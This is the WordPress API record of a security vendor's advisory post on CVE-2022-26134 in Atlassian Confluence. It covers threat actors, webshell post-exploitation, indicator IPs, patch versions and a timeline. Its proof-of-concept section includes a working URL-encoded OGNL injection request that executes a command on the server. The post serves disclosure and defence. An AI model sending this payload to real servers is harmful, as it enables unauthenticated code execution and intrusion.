{"id":7380,"date":"2022-06-17T11:29:14","date_gmt":"2022-06-17T11:29:14","guid":{"rendered":"https:\/\/webdev.securin.xyz\/?p=7380"},"modified":"2023-04-05T12:32:54","modified_gmt":"2023-04-05T19:32:54","slug":"cve-2022-26134-a-new-rce-atlassian-bug-exploited-by-ransomware-gangs","status":"publish","type":"post","link":"https:\/\/webdev.securin.xyz\/articles\/cve-2022-26134-a-new-rce-atlassian-bug-exploited-by-ransomware-gangs\/","title":{"rendered":"CVE-2022-26134: A New RCE Atlassian Bug Exploited by Ransomware Gangs"},"content":{"rendered":"<blockquote>\n<p dir=\"ltr\">Did you know AvosLocker ransomware is now targeting unpatched Atlassian Confluence Server and Data Center instances?<\/p>\n<\/blockquote>\n<p dir=\"ltr\">Atlassian Confluence is a workspace that is used for documentation, decisions, project collaborations, and Jira integrations. A zero-day flaw was detected recently which affects Confluence server and data center products that can be remotely exploited by an attacker. This zero-day can be exploited by executing arbitrary code by a threat actor to deploy webshells to extract data. This web-based vulnerability has to be patched immediately as the system has limited logging or monitoring capabilities which means it is quite difficult to detect.<\/p>\n<blockquote>\n<p dir=\"ltr\"><strong>Our Cyber Threat Intelligence captured CVE-2022-26134 on Deep Dark Web discussions, indicating hackers are on the lookout for this vulnerability. In addition, this CVE was first spotted in hackers chatter on June 03, 2022, and has a high probability of exploitation.<\/strong><\/p>\n<\/blockquote>\n<h2 dir=\"ltr\">CVE-2022-26134 Details<\/h2>\n<p dir=\"ltr\">Atlassian zero-day vulnerability that has been exploited in the wild is tagged as CVE-2022-26134. This is a critical unauthenticated, remote code execution vulnerability that affects all Atlassian Confluence and Data Center 2016 servers after version 1.3.0.<\/p>\n<ul>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">This bug was found by Volexity and reported on the last week of May while performing Incident Response over the weekend.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">The CVSS V3 score of this vulnerability ranges from 9 to 10.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">A proof-of-concept exploits for this flaw was publicly released.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Approximately 4000 instances of Atlassian Confluence were available worldwide in exploiting and testing for Atlassian Confluence CVE-2022-26134, according to a Tweet by Shadowserver.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">A total of 23 IP addresses have exploited the Atlassian vulnerabilities.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Popular scanners such as Nessus and Tenable were able to detect this vulnerability<\/p>\n<\/li>\n<\/ul>\n<table border=\"1\" align=\"center\">\n<colgroup>\n<col \/>\n<col \/>\n<col \/> <\/colgroup>\n<tbody>\n<tr>\n<td>\n<p dir=\"ltr\"><strong>Nessus\u00a0<\/strong><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\"><strong>Nexpose<\/strong><\/p>\n<\/td>\n<td>\n<p dir=\"ltr\"><strong>Qualys<\/strong><\/p>\n<\/td>\n<\/tr>\n<tr>\n<td>\n<p dir=\"ltr\">113248, 161808<\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">113248, 161808<\/p>\n<\/td>\n<td>\n<p dir=\"ltr\">150523,376657,730514<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 dir=\"ltr\">Affected Versions<\/h2>\n<p dir=\"ltr\">All supported versions of Confluence Datacenter and Server are affected by this flaw. Confluence and Datacenter versions after 1.3.0 are affected.<\/p>\n<h2 dir=\"ltr\">Current attackers of this CVE<\/h2>\n<ul>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Volexity believes this vulnerability is also exploited by multiple threat actors based in China.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Back in December 2021, Cerber had targeted Confluence servers in December 2021 using CVE 2021-26084 exploits and now researchers had found mass scans running on various networks to find exploitable Confluence versions.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">A crypto mining group called the 8220 gang\u00a0took advantage of this offering, by performing mass scans to find vulnerable Windows and Linux devices, according to <a href=\"https:\/\/blog.checkpoint.com\/2022\/06\/09\/crypto-miners-leveraging-atlassian-zero-day-vulnerability\/\">CheckPoint<\/a>.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Kinsing, Hezb, and Dark\u00a0IoT are known for targeting vulnerable Linux servers running unpatched Atlassian Confluence Server and Data Center installs and deploying backdoors and cryptominers.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">AvosLocker affiliates have begun exploiting this vulnerability by trying to infect computers on a big scale by targeting Internet-facing Confluence servers that haven&#8217;t been patched.<\/p>\n<\/li>\n<\/ul>\n<p dir=\"ltr\">The threat actors have created a Confluence campaign on the AvosLocker command and control server, which is shown below<\/p>\n<p dir=\"ltr\"><img decoding=\"async\" style=\"width: 653px; height: 257px; border-width: 1px; border-style: solid;\" src=\"https:\/\/lh3.googleusercontent.com\/zThnsWSeaLQJ8cpBjK6MOftXtjm0wZT6TqoeyVE9G7NF70v9muv04RvWDMQ8Bwu1IMMzO2Q2PszcfzbRtjQGdaGYl-ZobrQBET30GnRJzkgRUn_EFpgT9o5UDarTvQa4DvbqyR-KozQb2e26-A\" \/><\/p>\n<h2 dir=\"ltr\">Proof of Concept<\/h2>\n<h2 dir=\"ltr\">Confluence Preauth RCE via OGNL Injection<\/h2>\n<p dir=\"ltr\">The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance. Following are steps to exploit via OGNL Injection.<\/p>\n<ol>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Setup the vulnerable environment using docker-compose up -d.<\/p>\n<\/li>\n<li dir=\"ltr\" aria-level=\"1\">\n<p dir=\"ltr\" role=\"presentation\">Once the environment is set up, visit <a href=\"http:\/\/your-ip:8090\">http:\/\/your-ip:8090<\/a> and an installation guide will pop up, select \u201cTrial installation\u201d, then fill up the license key. You can find the database configuration <a href=\"https:\/\/github.com\/vulhub\/vulhub\/tree\/master\/confluence\/CVE-2022-26134#confluence-pre-auth-remote-code-execution-via-ognl-injection-cve-2022-26134\">here<\/a>.<\/p>\n<\/li>\n<\/ol>\n<h2 dir=\"ltr\">Exploitation<\/h2>\n<p dir=\"ltr\">By sending the following request to execute arbitrary commands OGNL injection is performed and a response is obtained<\/p>\n<p dir=\"ltr\">GET \/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D\/ HTTP\/1.1<\/p>\n<p dir=\"ltr\">Host: your-ip:8090<\/p>\n<p dir=\"ltr\">Accept-Encoding: gzip, deflate<\/p>\n<p dir=\"ltr\">Accept: *\/*<\/p>\n<p dir=\"ltr\">Accept-Language: en<\/p>\n<p dir=\"ltr\">User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36<\/p>\n<p dir=\"ltr\">Connection: close<\/p>\n<p dir=\"ltr\"><img decoding=\"async\" style=\"width: 602px; height: 172px; border-width: 1px; border-style: solid;\" src=\"https:\/\/lh4.googleusercontent.com\/54KFIj0kvYTyqbv6H4YCBGyY5zNN-f3e8tQzvdbskC9yJ6BUM8mrummu7UA7J-xzTP51fWRTA_suNhKiVYTGDl6YXw_htgukhFYmmwfEzThto4GwTpFF6PuUbjUX5eE5eQU-tIGO2MC7JJhayg\" \/><\/p>\n<h2 dir=\"ltr\">Post Exploitation<\/h2>\n<p dir=\"ltr\">After successfully exploiting the Confluence data center systems, the attacker deploys a memory copy of the BEHINDER implant. Upon deployment, the attacker uses the in-memory webshell to deploy two additional webshells to disk namely CHINA CHOPPER and a custom upload file.<\/p>\n<p dir=\"ltr\"><img decoding=\"async\" style=\"width: 602px; height: 151px; border-width: 1px; border-style: solid;\" src=\"https:\/\/lh4.googleusercontent.com\/_NeN4VycCpLIGda9CFxjSeR0kKe74n56xZZjkL3YxCKbKw__iUMnbt3pKFN46WRYuDqocc0DRjZohNLBPJRXmw4WMVP9DTHcZ3f5kidFodUJe9mXBE0y4NwQs-w7_UryUDcrIdmQFy67e5zHEQ\" \/><\/p>\n<p dir=\"ltr\">Using the above-mentioned custom webshell, an attacker can upload arbitrary files to the web server.<\/p>\n<p dir=\"ltr\"><img decoding=\"async\" style=\"width: 602px; height: 169px; border-width: 1px; border-style: solid;\" src=\"https:\/\/lh5.googleusercontent.com\/ybdq7MAfxcS59Ijpdw-XzqFyiRL65D9TEmugbojGIt5-yeBOo1tjaxxlebVa1e99tdhIClUlG90zFLWnUjaKlWGL-AwFPuBkgty_5bG70Rja7F-MYyjIRCRckvrDME1pIVLVHugtQJjMBVyy9A\" \/><\/p>\n<h2 dir=\"ltr\">Network Indicators and Attributions<\/h2>\n<p dir=\"ltr\">The following IP addresses have been used to attack the webshell and to mimic a legitimate internet user &#8211;<\/p>\n<p dir=\"ltr\">154.146.34.145<\/p>\n<p dir=\"ltr\">154.16.105.147<\/p>\n<p dir=\"ltr\">156.146.34.46<\/p>\n<p dir=\"ltr\">156.146.34.52<\/p>\n<p dir=\"ltr\">156.146.34.9<\/p>\n<p dir=\"ltr\">156.146.56.136<\/p>\n<p dir=\"ltr\">198.147.22.148<\/p>\n<p dir=\"ltr\">198.147.22.148<\/p>\n<p dir=\"ltr\">221.178.126.244<\/p>\n<p dir=\"ltr\">45.43.19.91<\/p>\n<p dir=\"ltr\">59.163.248.170<\/p>\n<p dir=\"ltr\">64.64.228.239<\/p>\n<p dir=\"ltr\">66.115.182.102<\/p>\n<p dir=\"ltr\">66.115.182.111<\/p>\n<p dir=\"ltr\">67.149.61.16<\/p>\n<p dir=\"ltr\">98.32.230.38<\/p>\n<p dir=\"ltr\">In addition, you can find block-related IoCs <a href=\"https:\/\/github.com\/volexity\/threat-intel\/blob\/main\/2022\/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day\/indicators\/indicators.csv\">here<\/a> and the hunting rules provided <a href=\"https:\/\/github.com\/volexity\/threat-intel\/blob\/main\/2022\/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day\/indicators\/yara.yar\">here<\/a> that can be used to identify webshell-related activity on the Confluence server.<\/p>\n<h2 dir=\"ltr\">Global Exposure<\/h2>\n<p dir=\"ltr\"><img fetchpriority=\"high\" decoding=\"async\" src=\"https:\/\/lh3.googleusercontent.com\/iIyWuzmfNcO4R0RdT8z8henXzyKe0-qaGbIkwCxqj3k2BCJZ-YTamAdsQl2E91QWnjOiir9hnLhU5GfEcQnGG44eoBs1tx7r-HI91MiKOMCptJDMcul7gGTjiD7T8-QO7TsNRBrqDiDbsOuS5A\" width=\"584\" height=\"540\" \/><\/p>\n<h2 dir=\"ltr\">Remediation<\/h2>\n<p dir=\"ltr\" style=\"text-align: center;\"><strong>Do you use Confluence as part of the Atlassian Cloud and are worried about whether you are affected?<\/strong><\/p>\n<p dir=\"ltr\">Do not worry as Atlassian says that if you access Confluence through the atlassian.net domain, your site is not vulnerable and there is currently no evidence that cloud sites have been targeted.<\/p>\n<p dir=\"ltr\">We strongly recommend organizations to update to the latest versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4, and 7.18.1 to fix this issue, <a href=\"https:\/\/confluence.atlassian.com\/doc\/confluence-security-advisory-2022-06-02-1130377146.html\">click here to download the PATCH<\/a>!<\/p>\n<h2 dir=\"ltr\">Timeline<\/h2>\n<p dir=\"ltr\" role=\"presentation\">31 May 2022: Volexity reported the findings.<\/p>\n<p dir=\"ltr\" role=\"presentation\">31 May 2022: Atlassian confirmed the 0-day vulnerability.<\/p>\n<p dir=\"ltr\" role=\"presentation\">31 May 2022: 8220 gang leveraged this vulnerability.<\/p>\n<p dir=\"ltr\" role=\"presentation\">1 June 2022: Cerber Ransomware activities saw a spike.<\/p>\n<p dir=\"ltr\" role=\"presentation\">2 June 2022: <a href=\"https:\/\/www.cisa.gov\/uscert\/ncas\/current-activity\/2022\/06\/02\/cisa-adds-one-known-exploited-vulnerability-cve-2022-26134-catalog\">CISA released <\/a>CVE 2022-26134 to KEV Catalog.<\/p>\n<p dir=\"ltr\" role=\"presentation\">3 June 2022: Atlassian released security advisory.<\/p>\n<p dir=\"ltr\" role=\"presentation\">10 June 2022: Microsoft has observed a spike in CVE-2022-26134 being exploited in the wild.<\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: center;\"><strong>CSW\u2019s Vulnerability Management as a Service (VMaaS) offers full coverage encompassing your entire IT landscape and detects, prioritizes, and fixes vulnerabilities on your organizational infrastructure, and provides access to the award-winning Risk-Based Vulnerability Management platform to view all your desired results in real-time.<\/strong><\/p>\n<p dir=\"ltr\" style=\"text-align: center;\"><strong>To know more about CSW\u2019s Vulnerability Management as a Service (VMaaS), Please <a href=\"https:\/\/cybersecurityworks.com\/services\/vulnerability-management-as-a-service\">click here<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Atlassian zero-day vulnerability that has been exploited in the wild is tagged as CVE-2022-26134. This is a critical unauthenticated, remote code execution vulnerability that affects all Atlassian Confluence and Data Center 2016 servers after version 1.3.0.<\/p>\n","protected":false},"author":11,"featured_media":14337,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"content-type":"","footnotes":""},"categories":[80,123],"tags":[243,286,269,91,250,149],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts\/7380"}],"collection":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/users\/11"}],"replies":[{"embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/comments?post=7380"}],"version-history":[{"count":4,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts\/7380\/revisions"}],"predecessor-version":[{"id":15775,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/posts\/7380\/revisions\/15775"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/media\/14337"}],"wp:attachment":[{"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/media?parent=7380"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/categories?post=7380"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/webdev.securin.xyz\/wp-json\/wp\/v2\/tags?post=7380"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}